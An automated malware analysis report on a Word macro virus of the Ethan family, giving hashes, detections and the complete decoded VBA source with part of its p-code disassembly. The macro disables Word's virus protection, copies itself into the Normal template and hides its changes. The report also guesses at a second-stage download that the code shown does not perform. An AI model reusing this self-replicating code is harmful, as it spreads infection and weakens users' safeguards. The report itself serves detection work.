Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d3bf581941a61a4c…

MALICIOUS

Office (OLE)

28.5 KB Created: 2001-07-06 03:13:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 9f42ac6c745e220d34a6a6b9cdf7d4c9 SHA-1: 8d5fe0719a48cd9c3bf25c9ebdbc08511b548ec7 SHA-256: d3bf581941a61a4c69e0fadb1ed08faf1660c990692d72cc0ee924402941d663
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample contains VBA macros that attempt to disable macro security warnings and write the macro code to a file named '_._' on the C drive. It also attempts to insert a picture from 'C:\Windows\System\x.x'. This behavior suggests an attempt to establish persistence or download and execute a second-stage payload. The ClamAV detections further confirm its malicious nature.

Heuristics 2

  • ClamAV: Doc.Trojan.Ethan-20 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Ethan-20
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6206 bytes
SHA-256: 3dfd07864bc6fb63783c7881d70e931c5ea0e0e85c87f83975b3dc02ca44fff0
Detection
ClamAV: Doc.Trojan.Ethan-14
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()

On Error Resume Next

s = ActiveDocument.Saved

Application.EnableCancelKey = Not -1

With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With

If Dir("c:\_._") = "" Then
  Open "c:\_._" For Output As #1
  For i = 1 To MacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
    a = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(i, 1)
    Print #1, a
  Next i
  Close #1
End If

If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Close()" Then
  Set t = NormalTemplate.VBProject.VBComponents.Item(1)
ElseIf ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Close()" Then
  Set t = ActiveDocument.VBProject.VBComponents.Item(1)
Else: t = ""
End If

If t <> "" Then
  Open "c:\_._" For Input As #1
  If LOF(1) = 0 Then GoTo q
  i = 1
  Do While Not EOF(1)
    Line Input #1, a
    t.CodeModule.InsertLines i, a
    i = i + 1
  Loop
q:
  Close #1
  ActiveDocument.Shapes.AddPicture Anchor:=Selection.Range, FileName:="C:\Windows\System\x.x", LinkToFile:=False, SaveWithDocument:=True
  If Left(ActiveDocument.Name, 8) <> "Document" Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End If

If Dir("c:\_._") <> "" Then
  Kill "c:\_._"
End If

If ActiveDocument.Saved <> s Then
  ActiveDocument.Saved = s
End If

End Sub

Private Sub Document_New()

End Sub

' Processing file: /opt/analyzer/scan_staging/064b52884ebe4952a13f4ff81b648c9a.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 3419 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_Close())
' Line #1:
' Line #2:
' 	OnError (Resume Next) 
' Line #3:
' Line #4:
' 	Ld ActiveDocument 
' 	MemLd Saved 
' 	St s 
' Line #5:
' Line #6:
' 	LitDI2 0x0001 
' 	UMi 
' 	Not 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #7:
' Line #8:
' 	StartWithExpr 
' 	Ld Options 
' 	With 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	MemStWith ConfirmConversions 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	MemStWith VirusProtection 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	MemStWith SaveNormalPrompt 
' 	BoS 0x0000 
' 	EndWith 
' Line #9:
' Line #10:
' 	LitStr 0x0006 "c:\_._"
' 	ArgsLd Dir 0x0001 
' 	LitStr 0x0000 ""
' 	Eq 
' 	IfBlock 
' Line #11:
' 	LitStr 0x0006 "c:\_._"
' 	LitDI2 0x0001 
' 	Sharp 
' 	LitDefault 
' 	Open (For Output)
' Line #12:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld MacroContainer 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	For 
' Line #13:
' 	Ld i 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld MacroContainer 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	St a 
' Line #14:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	Ld a 
' 	PrintItemNL 
' Line #15:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #16:
' 	LitDI2 0x0001 
' 	Sharp 
' 	Close 0x0001 
' Line #17:
' 	EndIfBlock 
' Line #18:
' Line #19:
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	LitStr 0x001C "Private Sub Document_Close()"
' 	Ne 
' 	IfBlock 
' Line #20:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set t 
' Line #21:
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	LitStr 0x001C "Private Sub Document_C
... (truncated)

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